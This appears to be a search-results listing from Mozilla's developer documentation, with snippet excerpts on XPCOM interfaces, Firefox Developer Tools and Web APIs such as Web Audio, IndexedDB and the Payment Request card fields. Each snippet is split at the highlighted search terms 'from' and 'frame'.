from: nsisupports last changed in gecko 22 (firefox 22 / thunderbird 22 / seamonkey 2.19) implemented by: "@mozilla.org/browser/nav-history-service;1".
...this is true of all images on a page, and the contents of the i
frame.
... it is also true of any content in a
frame, regardless if whether or not the user clicked something to get there.
...And 2 more matches
nsIPrivateBrowsingService
1.0 66 introduced gecko 1.9.1 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) this interface is deprecated since firefox 20, and will probably be completely removed in firefox 21.
...to get access to the service
from javascript, use: var pbs = components.classes["@mozilla.org/privatebrowsing;1"] .getservice(components.interfaces.nsiprivatebrowsingservice); c++ callers should use the contract id @mozilla.org/privatebrowsing-wrapper;1 instead.
... method overview void removedata
fromdomain(in autf8string adomain); attributes attribute type description autostarted boolean indicates whether or not private browsing was started automatically at application launch time.
...And 2 more matches
nsIPushService
dom/interfaces/push/nsipushservice.idlscriptable a service for components to subscribe and receive push messages
from remote servers.
... inherits
from: nsisupports last changed in gecko 46.0 (firefox 46.0 / thunderbird 46.0 / seamonkey 2.43) push lets a remote server send payloads to a web site, add-on, or component running in the browser.
... nsipushservice supports the push api implementation in firefox, and can be used directly
from privileged code to create system subscriptions.
...And 2 more matches
nsIScriptError
66 introduced gecko 1.0 inherits
from: nsiconsolemessage last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/scripterror;1.
... sourceline astring the line
from the file specified by sourcename.
... timestamp long long elapsed time, in milliseconds,
from a platform-specific zero time to the time the message was created.
...And 2 more matches
nsIStandardURL
it supports initialization
from a relative path and provides some customization on how urls are normalized.
... inherits
from: nsimutable last changed in gecko 1.9 (firefox 3) implemented by: @mozilla.org/network/standard-url;1.
...adefaultport if the port parsed
from the url string matches this port, then the port will be removed
from the canonical form of the url.
...And 2 more matches
nsIStringBundleService
intl/strres/nsistringbundle.idlscriptable provides the string bundle service, which provides a way to fetch localized strings
from a property file.
... inherits
from: nsisupports last changed in gecko 1.7 implemented by: @mozilla.org/intl/stringbundle;1.
... on the return value object on you can call functions like getstring
fromname and formatstring
fromname see nsistringbundle.
...And 2 more matches
nsITelemetry
1.0 66 introduced gecko 6.0 inherits
from: nsisupports last changed in gecko 7.0 (firefox 7.0 / thunderbird 7.0 / seamonkey 2.4) implemented by: @mozilla.org/base/telemetry;1 as a service: let telemetry = components.classes["@mozilla.org/base/telemetry;1"] .getservice(components.interfaces.nsitelemetry); method overview jsval gethistogrambyid(in acstring id); jsval snapshothistograms(in uint32_t adataset, in boolean asubsession, in boolean aclear); jsval getkeyedhistogrambyid(in acstring id); void capturestack(in acstring name); jsva...
... histogramsnapshots jsval an object containing a snapshot
from all of the currently registered histograms.
... jsval gethistogrambyid( in acstring id ); parameters id unique identifier
from toolkit/components/telemetry/histograms.json.
...And 2 more matches
nsIThread
last changed in gecko 1.9 (firefox 3) inherits
from: nsieventtarget method overview void shutdown() boolean haspendingevents() boolean processnextevent(in boolean maywait) attributes attribute type description prthread prthread the nspr thread object corresponding to the nsithread.
... warning: this method may not be called
from the thread itself.
... instead, you must only call it
from another thread (usually the thread that created it, or the main application thread).
...And 2 more matches
nsITransport
inherits
from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) this interface provides methods to open blocking or non-blocking, buffered or unbuffered streams to the resource.
...this means that if the stream has no data and is not closed, then reading
from it will block the calling thread until at least one byte is available or until the stream is closed.
...this means that if the stream has no data and is not closed, then reading
from it returns ns_base_stream_would_block.
...And 2 more matches
nsIUpdate
toolkit/mozapps/update/nsiupdateservice.idlscriptable an interface that describes an object representing an available update to the current application - this update may have several available patches
from which one must be selected to download and install, for example we might select a binary difference patch first and attempt to apply that, then if the application process fails fall back to downloading a complete file-replace patch.
... this object also contains information about the update that the
front end and other application services can use to learn more about what is going on.
... 1.0 66 introduced gecko 1.8 inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview nsiupdatepatch getpatchat(in unsigned long index); nsidomelement serialize(in nsidomdocument updates); attributes attribute type description appversion astring the application version of this update.
...And 2 more matches
nsIWebBrowser
the interface may also be used at runtime to obtain the content dom window and
from that the rest of the dom.
... inherits
from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) warning: this interface was
frozen for a very long time, but was un
frozen for gecko 2.0.
... the chrome may optionally implement nsiinterfacerequestor, nsiwebbrowserchromefocus, nsicontextmenulistener and nsitooltiplistener to receive additional notifications
from the browser object.
...And 2 more matches
nsIWebSocketChannel
1.0 66 introduced gecko 8.0 inherits
from: nsisupports last changed in gecko 8.0 (firefox 8.0 / thunderbird 8.0 / seamonkey 2.5) implemented by: ?????????????????????????????????????.
... 1001 close_going_away the endpoint is going away, either because of a server failure or because the browser is navigating away
from the page that opened the connection.
... 1004 close_too_large the endpoint is terminating the connection because a data
frame was received that is too large.
...And 2 more matches
nsIXMLHttpRequest
using event handlers
from native code (not sure if it's up-to-date)
from native code, the way to set up onload and onerror handlers is a bit different.
... here is a comment
from johnny stenback <jst@netscape.com>: the mozilla implementation of nsixmlhttprequest implements the interface nsidomeventtarget and that's how you're supported to add event listeners.
... though actually, if you use addeventlistener
from c++ weird things will happen too, since the result will depend on what js happens to be on the stack when you do it....
...And 2 more matches
xptcall FAQ
xpconnect uses information
from typelib files to reflect arbitrary xpcom interfaces into javascript and to make calls
from javascript to xpcom using xptc_invokebyindex.
...these stubs forward calls to a shared function whose job it is to use the typelib information to extract the parameters
from the platform specific calling convention to build an array of variants to hold the parameters and then call an inherited method which can then do whatever it wants with the call.
... the invoke facility requires code that can build and invoke an arbitrary call
frame.
...And 2 more matches
Gloda examples
a) show all messages in a conversation regardless of the folder in which they are stored, b) search messages by subject assuming that you have a message (glodamessage) in the conversation already, this is straight forward using glodamessage.conversation.getmessagescollection() alistener = { /* called when new items are returned by the database query or
freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged
from the system */ onitemsremoved: function _onitemsremoved(aitems, acollection) { }, ...
...alltags({}); query.tags(...tagarray); let collection = query.getcollection(mylistener); search messages by daterange searches for all messages within a date range id_q=gloda.newquery(gloda.noun_message); // define a date range form yesterday to now id_q.daterange([new date() - 86400000, new date()]); var mylistener = { /* called when new items are returned by the database query or
freshly indexed */ onitemsadded: function _onitemsadded(aitems, acollection) { }, /* called when items that are already in our collection get re-indexed */ onitemsmodified: function _onitemsmodified(aitems, acollection) { }, /* called when items that are in our collection are purged
from the system */ onitemsremoved: function _onitemsremoved(aitems, acollection) { }, ...
... /* called when our database query completes */ onquerycompleted: function _onquerycompleted(acollection) { var items = acollection.items; for (msg of items) { alert(msg.subject); }; } }; collection = id_q.getcollection(mylistener); show all messages where the
from, to and cc values include a specified email address at present there doesn't appear to be any way of going directly
from an email address to email addresses that it involves.
...And 2 more matches
MailNews Protocols
imap,pop3, and nntp are "incoming" protocols, i.e., we retrieve messages
from a server, and represent them as folders to the user.
... those protocols all have the following, defined in the corresponding protocol subdirectory of mailnews (i.e., mailnews/imap, mailnews/local (for pop3), mailnews/news): an incoming server class, which implements nsimsgincomingserver and inherits
from mailnews/base/util/nsmsgincomingserver, i.e.., nspop3incomingserver, nsimapincomingserver, nsnntpincomingserver.
... a folder class, which implements nsimsgfolder, and inherits
from nsmsgdbfolder.
...And 2 more matches
customDBHeaders Preference
while i was going through the creating a custom column guide, i built and used thunderbird-2.0b1 checked-out
from cvs with the thunderbird_2_0b1_release tag.
...the data will come
from a custom header labeled x-superfluous.
...ecols id="threadcols"> <splitter class="tree-splitter" /> <treecol id="colsuperfluous" persist="hidden ordinal width" currentview="unthreaded" flex="1" label="superfluous" tooltiptext="click to sort by superfluous" /> </treecols> </tree> </overlay> you should insure that whatever id you use for the treecol you're adding matches the reference
from your javascript code (i.e.
...And 2 more matches
Virtualenv
you can download it
from its pypi package page or install it with easy_install.
... if you have git installed, you can clone the latest version of virtualenv: git clone git://github.com/pypa/virtualenv.git if you have pip or easy_install, you can install virtualenv directly
from the web: pip install virtualenv # -or- easy_install virtualenv this will fetch virtualenv
from pypi and install it in your site-packages.
...if you do not have pip or easy_install, you will need to download
from pypi or clone
from the github virtualenv repository, extract
from the tarball (in the pypi case), and run python setup.py install.
...And 2 more matches
Examples
using objective-c
from js-ctypes an example how to use objective-c
from js-ctypes, by converting objective-c code into c code.
... using com
from js-ctypes an example how to use com api of windows systems
from js-ctypes, by converting c++ code to c code.
... using jni
from js-ctypes an example how to use java
from js-ctypes, by converting java code into c code.
...And 2 more matches
DOM Inspector FAQ - Firefox Developer Tools
these can include chrome documents, but it's not suggested that you inspect xul documents by directly inspecting them via url, since some behavior may rely on the document being contained in another xul document, or the converse, where it won't behave correctly because it doesn't expect to be loaded as a
framed document.
...those nodes whose white-space css property value prevents the user-agent
from collapsing sequences of whitespace will not be hidden.
...menu item
from the edit menu in an inspector window that is inspecting the document you wish to search, and enter your search criteria there.
...And 2 more matches
UI Tour - Firefox Developer Tools
at the top level sources are organized by origin, and under that they're organized by the directory structure
from which they are served.
... right-clicking in the call stack pane opens a context menu with the following items: restart
frame restarts execution at the beginning of the current
frame.
... enable
framework grouping collects items belonging to a
framework into a collapsible group (for example, jquery in the screenshot above).
...And 2 more matches
Tree map view - Firefox Developer Tools
here are some example snapshots, as they appear in the tree map view: this treemap is
from the dom allocation example, which simply runs a script that creates a large number of dom nodes (200 htmldivelement objects and 4000 htmlspanelement objects).
... you can see how almost all the heap usage is
from the htmlspanelement objects that it creates.
... this treemap is
from the monster allocation example, which creates three arrays, each containing 5000 monsters, each monster having a randomly-generated name.
...And 2 more matches
Network request details - Firefox Developer Tools
http/2 requires that all headers be lowercase; response headers are shown as they are received
from the server.
...", "value": "cp1075 pass, cp1075 pass" }, { "name": "x-cache-status", "value": "pass" }, { "name": "x-client-ip", "value": "204.210.158.136" }, { "name": "x-content-type-options", "value": "nosniff" }, { "name": "x-firefox-spdy", "value": "h2" }, { "name": "x-
frame-options", "value": "sameorigin" }, { "name": "x-powered-by", "value": "hhvm/3.18.6-dev" }, { "name": "x-search-id", "value": "esvan0r5bnnwscyk2wq09i1im" }, { "name": "x-varnish", "value": "766019457, 417549316" } ] }, "request headers (665 b)": { "headers": [ { "name": "a...
... device: the device the resource was fetched
from (e.g.
...And 2 more matches
Examine and edit HTML - Firefox Developer Tools
searching the page inspector's search box matches all markup in the current document and in any
frames.
... since firefox 52, the inspector displays these whitespace nodes, so you can see where the gaps in your markup come
from.
...
from firefox 44, pressing the keyboard shortcut s will also scroll the selected node into view.
...And 2 more matches
Allocations - Firefox Developer Tools
click this to see the places this function was called
from: here you can see that signallater() was called
from two places: removeinner() and setselectioninner().
...but signallater() was called
from two places: removeinner() and setselectioninner().
... with a garbage-collected language, like javascript, the runtime periodically needs to walk the heap looking for objects that are no longer reachable, and then
freeing the memory they occupy.
...And 2 more matches
Cookies - Firefox Developer Tools
when you select an origin inside the cookies storage type
from the storage tree, all the cookies present for that origin will be listed in a table.
...same-site cookies allow servers to mitigate the risk of csrf and information leakage attacks by asserting that a particular cookie should only be sent with requests initiated
from the same registrable domain.
... delete <cookie name>.<domain> - deletes the selected cookie delete all
from <domain> - deletes all cookies
from the selected domain.
...And 2 more matches
Tips - Firefox Developer Tools
right-click on a name, value, or rule to copy anything
from the name, the value, the declaration or the whole rule to your clipboard.
... $$() returns an array with the results
from document.queryselectorall().
... cd switches the javascript evaluation context to a different i
frame in the page.
...And 2 more matches
AnimationEffect.getComputedTiming() - Web APIs
return value a computedeffecttiming dictionary object, which contains the following properties: endtime the end time of the animation in milliseconds
from the animation's start (if the key
frameeffect is associated with an animation).
...if the key
frameeffect is not associated with an animation, its value is null.
...returns null if the animation is not running or its key
frameeffect isn't associated with an animation.
...And 2 more matches
AudioBuffer() - Web APIs
syntax var audiobuffer = new audiobuffer(options); parameters inherits parameters
from the audionodeoptions dictionary.
... options options are as follows: length: the size of the audio buffer in sample-
frames.
...user agents are required to support sample rates
from 8,000 hz to 96,000 hz (but are allowed to go farther outside this range).
...And 2 more matches
AudioBufferSourceNode.AudioBufferSourceNode() - Web APIs
syntax var audiobuffersourcenode = new audiobuffersourcenode(context, options) parameters inherits parameters
from the audionodeoptions dictionary.
...the sample
frames, comprising the loop, run
from the values loopstart to loopend-(1/samplerate).
...this attribute is converted to an exact sample
frame offset within the buffer, by multiplying by the buffer's sample rate and rounding to the nearest integer value.
...And 2 more matches
AudioBufferSourceNode - Web APIs
it's especially useful for playing back audio which has particularly stringent timing accuracy requirements, such as for sounds that must match a specific rhythm and can be kept in memory rather than being played
from disk or the network.
... to play sounds which require accurate timing but must be streamed
from the network or played
from disk, use a audioworkletnode to implement its playback.
... properties inherits properties
from its parent, audionode.
...And 2 more matches
AudioContext.createMediaStreamSource() - Web APIs
the createmediastreamsource() method of the audiocontext interface is used to create a new mediastreamaudiosourcenode object, given a media stream (say,
from a mediadevices.getusermedia instance), the audio
from which can then be played and manipulated.
... return value a new mediastreamaudiosourcenode object representing the audio node whose media is obtained
from the specified source stream.
... example in this example, we grab a media (audio + video) stream
from navigator.getusermedia, feed the media into a <video> element to play then mute the audio, but then also feed the audio into a mediastreamaudiosourcenode.
...And 2 more matches
AudioContext.getOutputTimestamp() - Web APIs
the two values are as follows: audiotimestamp.contexttime: the time of the sample
frame currently being rendered by the audio output device (i.e., output audio stream position), in the same units and origin as the context's audiocontext.currenttime.
... audiotimestamp.performancetime: an estimation of the moment when the sample
frame corresponding to the stored contexttime value was rendered by the audio output device, in the same units and origin as performance.now().
... performancetime: a point in the time coordinate system of a performance interface; the time after the document containing the audio context was first rendered examples in the following code we start to play an audio file after a play button is clicked, and start off a requestanimation
frame loop running, which constantly outputs the contexttime and performancetime.
...And 2 more matches
AudioNode.disconnect() - Web APIs
the disconnect() method of the audionode interface lets you disconnect one or more nodes
from the node on which the method is called.
... syntax audionode.disconnect(); audionode.disconnect(output); audionode.disconnect(destination); audionode.disconnect(destination, output); audionode.disconnect(destination, output, input); return value undefined parameters there are several versions of the disconnect() method, which accept different combinations of parameters to control which nodes to disconnect
from.
... destination optional an audionode or audioparam specifying the node or nodes to disconnect
from.
...And 2 more matches
AudioNode - Web APIs
the exact processing done varies
from one audionode to another but, in general, a node reads its inputs, does some audio-related processing, and generates new values for its outputs, or simply lets the audio pass through (for example in the analysernode, where the result of the processing is accessed separately).
... // constructor const analysernode = new analysernode(audioctx, { fftsize: 2048, maxdecibels: -25, mindecibels: -60, smoothingtimeconstant: 0.5, }); // factory method const analysernode = audioctx.createanalyser(); analysernode.fftsize = 2048; analysernode.maxdecibels = -25; analysernode.mindecibels = -60; analysernode.smoothingtimeconstant = 0.5; you are
free to use either constructors or factory methods, or mix both, however there are advantages to using the constructors: all parameters can be set during construction time and don't need to be set individually.
...the constructors were added to the spec
from august to october 2016.
...And 2 more matches
AudioTrack - Web APIs
the audiotrack interface represents a single audio track
from one of the html media elements, <audio> or <video>.
...the id can also be used as the
fragment part of the url if the media supports seeking by media
fragment per the media
fragments uri specification.
...returns null if the track was not created by a sourcebuffer or the sourcebuffer has been removed
from the mediasource.sourcebuffers attribute of its parent media source.
...And 2 more matches
AudioTrackList.onremovetrack - Web APIs
the audiotracklist onremovetrack event handler is called when the removetrack event occurs, indicating that an audio track has been removed
from the media element, and therefore also
from the audiotracklist.
... the event is passed into the event handler in the form of a trackevent object, whose track property identifies the track that was removed
from the media element's audiotracklist.
... syntax audiotracklist.onremovetrack = eventhandler; value set onremovetrack to a function that accepts as input a trackevent object which indicates in its track property which audio track has been removed
from the media element.
...And 2 more matches
AudioTrackList - Web APIs
properties this interface also inherits properties
from its parent interface, eventtarget.
... onremovetrack an event handler to call when the removetrack event is sent, indicating that an audio track has been removed
from the media element.
... methods this interface also inherits methods
from its parent interface, eventtarget.
...And 2 more matches
AuthenticatorAssertionResponse - Web APIs
this interface inherites
from authenticatorresponse.
...use
from within an <i
frame> element will not have any effect.
...the clientdatajson property is inherited
from the authenticatorresponse.
...And 2 more matches
BaseAudioContext.decodeAudioData() - Web APIs
in this case the arraybuffer is loaded
from xmlhttprequest and filereader.
... this is the preferred method of creating an audio source for web audio api
from an audio track.
... this method only works on complete file data, not
fragments of audio file data.
...And 2 more matches
BaseAudioContext - Web APIs
methods also implements methods
from the interface eventtarget.
... baseaudiocontext.createanalyser() creates an analysernode, which can be used to expose audio time and
frequency data and for example to create data visualisations.
... baseaudiocontext.createchannelmerger() creates a channelmergernode, which is used to combine channels
from multiple audio streams into a single audio stream.
...And 2 more matches
BasicCardResponse.billingAddress - Web APIs
request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
... console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error
from request.show().
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
BasicCardResponse.cardNumber - Web APIs
request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
... console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error
from request.show().
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
BasicCardResponse.cardSecurityCode - Web APIs
request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
... console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error
from request.show().
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
BasicCardResponse.cardholderName - Web APIs
request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
... console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error
from request.show().
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
BasicCardResponse.expiryMonth - Web APIs
request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
... console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error
from request.show().
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
BasicCardResponse.expiryYear - Web APIs
request.show().then(function(instrumentresponse) { // do something with the response
from the ui.
... console.log(instrumentresponse.details); }) .catch(function(err) { // do something with the error
from request.show().
... browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
Blob.slice() - Web APIs
the blob interface's slice() method creates and returns a new blob object which contains data
from a subset of the blob on which it's called.
...if you specify a negative value, it's treated as an offset
from the end of the blob toward the beginning.
... for example, -10 would be the 10th
from last byte in the blob.
...And 2 more matches
CSS Typed Object Model API - Web APIs
cssstylevalue.parse(property, csstext) the parse() method of the cssstylevalue interface allows a cssnumericvalue to be constructed
from a css string.
... stylepropertymap.delete() method that removes the css declaration with the given property
from the stylepropertymap.
...it consists of a list of string
fragments and variable references.
...And 2 more matches
CacheStorage - Web APIs
equivalent functionality to match a cache entry can be implemented by returning an array of cache names
from cachestorage.keys(), opening each cache with cachestorage.open(), and matching the one you want with cache.match().
... examples this code snippet is
from the mdn sw-test example (see sw-test running live.) this service worker script waits for an installevent to fire, then runs waituntil to handle the install process for the app.
... if not, fetch the request
from the network, then also open the cache created in the first block and add a clone of the request to it using cache.put (cache.put(event.request, response.clone()).) if this fails (e.g.
...And 2 more matches
A basic ray-caster - Web APIs
the canvas overview and tutorial i found here at mdn are great, but nobody had written about animation yet, so i thought i'd try a port of a basic raycaster i'd worked on a while ago, and see what sort of performance we can expect
from a javascript-controlled pixel buffer.
... the basic idea is to use setinterval() at some arbitrary delay that corresponds to a desired
frame rate.
...the height of the sliver is also modulated by the distance
from the camera to the wall, and is drawn centered over the horizon line.
...And 2 more matches
Optimizing canvas - Web APIs
pre-render similar primitives or repeating objects on an offscreen canvas if you find yourself repeating some of the same drawing operations on each animation
frame, consider offloading them to an offscreen canvas.
... use multiple layered canvases for complex scenes in your application, you may find that some objects need to move or change
frequently, while others remain relatively static.
...the ui would change only upon user input, the gameplay layer would change with every new
frame, and the background would remain generally unchanged.
...And 2 more matches
ConstantSourceNode - Web APIs
this makes it useful for cases in which you need a constant value coming in
from an audio source.
... properties inherits properties
from its parent interface, audioscheduledsourcenode, and adds the following properties: offset an audioparam which specifies the value that this source continuously outputs.
... event handlers inherits event handlers
from its parent interface, audioscheduledsourcenode.
...And 2 more matches
Credential Management API - Web APIs
calls to get() and store() within an <i
frame> element will resolve without effect.
... subdomain-shared credentials later version of the spec allow credentials to be retrieved
from a different subdomain.
...this interfaces is accessible
from navigator.credentials.
...And 2 more matches
DOMPointInit.z - Web APIs
as the value increases, the point moves outward
from the screen toward the user.
... as the value decreases, the point moves farther
from the user, with negative values being behind the screen, receding into the distance.
... there are two methods which use dompointinit: the static function dompointreadonly.
frompoint() takes an object that complies with dompointinit as its sole input parameter, to specify the coordinates and perspective value of the new point to be created.
...And 2 more matches
DOMRect - Web APIs
for example, vreyeparameters.renderrect
from the defunct webvr api specified the viewport of a canvas into which visuals for one eye of a head mounted display should be rendered.
... it inherits
from its parent, domrectreadonly.
... properties domrect inherits properties
from its parent, domrectreadonly.
...And 2 more matches
Document.requestStorageAccess() - Web APIs
if the document's
frame is the main
frame, resolve.
... if the sub
frame's origin is equal to the main
frame's, resolve.
... if the sub
frame is not sandboxed, skip to step 7.
...And 2 more matches
DocumentOrShadowRoot - Web APIs
methods documentorshadowroot.caretposition
frompoint() returns a caretposition object containing the dom node containing the caret, and caret's character offset within that node.
... documentorshadowroot.element
frompoint() returns the topmost element at the specified coordinates.
... documentorshadowroot.elements
frompoint() returns an array of all elements at the specified coordinates.
...And 2 more matches
Examples of web and XML development using the DOM - Web APIs
e border 20px-wide" onclick="setborderwidth(20);" /> <input type="button" value="make border 5px-wide" onclick="setborderwidth(5);" /> </form> </body> </html> example 3: manipulating styles in this simple example, some basic style properties of an html paragraph element are accessed using the style object on the element and that object's css style properties, which can be retrieved and set
from the dom.
... however, stopevent also calls an event object method, event.stoppropagation, which keeps the event
from bubbling any further up into the dom.
... <!doctype html> <html lang="en"> <head> <title>event propagation</title> <style> #t-daddy { border: 1px solid red } #c1 { background-color: pink; } </style> <script> function stopevent(ev) { c2 = document.getelementbyid("c2"); c2.innerhtml = "hello"; // this ought to keep t-daddy
from getting the click.
...And 2 more matches
Event - Web APIs
setting its value to true before returning
from an event handler prevents propagation of the event.
... event.srcelement a non-standard alias (
from old versions of microsoft internet explorer) for event.target.
... event.stopimmediatepropagation() for this particular event, prevent all other listeners
from being called.
...And 2 more matches
FileSystemDirectoryReader.readEntries() - Web APIs
errorcallback optional a callback function which is called if an error occurs while reading
from the directory.
...first, we prevent the dragover event
from being handled by the default handler, so that our drop zone can receive the drop: dropzone.addeventlistener("dragover", function(event) { event.preventdefault(); }, false); the event handler that kicks everything off, of course, is the handler for the drop event: dropzone.addeventlistener("drop", function(event) { let items = event.datatransfer.items; event.preventdefault(); list...
...ing.innerhtml = ""; for (let i=0; i<items.length; i++) { let item = items[i].webkitgetasentry(); if (item) { scanfiles(item, listing); } } }, false); this fetches the list of datatransferitem objects representing the items dropped
from event.datatransfer.items.
...And 2 more matches
Using FormData Objects - Web APIs
it is primarily intended for use in sending form data, but can be used independently
from forms in order to transmit keyed data.
... creating a formdata object
from scratch you can build a formdata object yourself, instantiating it then appending fields to it by calling its append() method, like this: var formdata = new formdata(); formdata.append("username", "groucho"); formdata.append("accountnum", 123456); // number 123456 is immediately converted to a string "123456" // html file input, chosen by user formdata.append("userfile", fileinputelement.files[0]); // javascript file-like object var content = '<a id="a"><b id="b">hey!</b></a>'; // the body of the new file...
... retrieving a formdata object
from an html form to construct a formdata object that contains the data
from an existing <form>, specify that form element when creating the formdata object: note: formdata will only use input fields that use the name attribute.
...And 2 more matches
HTMLBRElement - Web APIs
it inherits
from htmlelement.
..." target="_top"><rect x="361" y="65" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="426" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbrelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
...And 2 more matches
HTMLBodyElement - Web APIs
the htmlbodyelement interface provides special properties (beyond those inherited
from the regular htmlelement interface) for manipulating <body> elements.
...target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlbodyelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement and
from windoweventhandlers.
... methods no specific methods; inherits methods
from its parent, htmlelement, and
from windoweventhandlers.
...And 2 more matches
HTMLInputElement - Web APIs
note: if the user enters a value different
from the value expected, this may return an empty string.
...it is false if any conditions bar it
from constraint validation, including: its type is hidden, reset, or button; it has a <datalist> ancestor; its disabled property is true.
... methods blur() removes focus
from the input element; keystrokes will subsequently go nowhere.
...And 2 more matches
HTMLLinkElement - Web APIs
target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmllinkelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement, and linkstyle.
... htmllinkelement.rel is a domstring representing the forward relationship of the linked resource
from the document to the resource.
... htmllinkelement.rev is a domstring representing the reverse relationship of the linked resource
from the resource to the document.
...And 2 more matches
HTMLOutputElement - Web APIs
the htmloutputelement interface provides properties and methods (beyond those inherited
from htmlelement) for manipulating the layout and presentation of <output> elements.
..."321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmloutputelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface also inherits properties
from its parent, htmlelement.
... methods this interface also inherits methods
from its parent, htmlelement.
...And 2 more matches
HTMLTableCaptionElement - Web APIs
_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecaptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits properties
from its parent, htmlelement.
... living standard no change
from html5.
...And 2 more matches
HTMLTitleElement - Web APIs
arget="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltitleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties
from its parent, htmlelement.
... methods no specific method; inherits methods
from its parent, htmlelement.
... recommendation no change
from html5 html5the definition of 'htmltitleelement' in that specification.
...And 2 more matches
IDBCursor.delete() - Web APIs
be aware that you can't call delete() (or idbcursor.update()) on cursors obtained
from idbindex.openkeycursor().
... example in this simple
fragment we create a transaction, retrieve an object store, then use a cursor to iterate through all the records in the object store.
...also note that in each iteration of the loop, you can grab data
from the current record under the cursor object using cursor.value.foo.
...And 2 more matches
IDBIndex - Web APIs
methods inherits
from: eventtarget idbindex.count() returns an idbrequest object, and in a separate thread, returns the number of records within a key range.
... example in the following example we open a transaction and an object store, then get the index lname
from a simple contacts database.
... recommendation browser compatibility the compatibility table on this page is generated
from structured data.
...And 2 more matches
IDBObjectStore.get() - Web APIs
this is for retrieving specific records
from an object store.
... example in the following code snippet, we open a read/write transaction on our database and get one specific record
from object store using get() — a sample record with the key "walk dog".
... // this is used a lot below db = dbopenrequest.result; // run the getdata() function to get the data
from the database getdata(); }; function getdata() { // open a read/write db transaction, ready for retrieving the data var transaction = db.transaction(["todolist"], "readwrite"); // report on the success of the transaction completing, when everything is done transaction.oncomplete = function(event) { note.innerhtml += '<li>transaction completed.</li>'; }; transaction.onerror =...
...And 2 more matches
IDBObjectStore - Web APIs
this is for retrieving specific records
from an object store.
... idbobjectstore.index() opens an index
from this object store after which it can, for example, be used to return a sequence of records sorted by that index using a cursor.
... example this example shows a variety of different uses of object stores,
from updating the data structure with idbobjectstore.createindex inside an onupgradeneeded function, to adding a new item to our object store with idbobjectstore.add.
...And 2 more matches
IDBObjectStoreSync - Web APIs
important: the synchronous version of the indexeddb api was originally intended for use only with web workers, and was eventually removed
from the spec because its need was questionable.
... it may however be reintroduced in the future if there is enough demand
from web developers.
... get() retrieves and returns the value
from this object store for the record that corresponds to the given key.
...And 2 more matches
IDBRequest.transaction - Web APIs
this property can be null for requests not made within transactions, such as for requests returned
from idbfactory.open — in this case you're just connecting to a database, so there is no transaction to return.
... example the following example requests a given record title, onsuccess gets the associated record
from the idbobjectstore (made available as objectstoretitlerequest.result), updates one property of the record, and then puts the updated record back into the object store in another request.
... the source of the requests is logged to the developer console — both originate
from the same transaction.
...And 2 more matches
Browser storage limits and eviction criteria - Web APIs
this article describes how browsers determine what local content to purge and when in order to
free up needed local storage space.
...this will only be evicted if the user chooses to (for example, in firefox you can choose to delete all stored data or only stored data
from selected origins by going to preferences and using the options under privacy & security > cookies & site data).
...the global limit is calculated as 50% of
free disk space.
...And 2 more matches
Checking when a deadline is due - Web APIs
the main complication here is checking the stored deadline info (month, hour, day, etc.) against the current time and date taken
from a date object.
...you can download the to-do list notifications app
from github and play around with the source code, or view the app running live.
...2013, '13, 13?), i decided the best solution was to give them a choice to pick
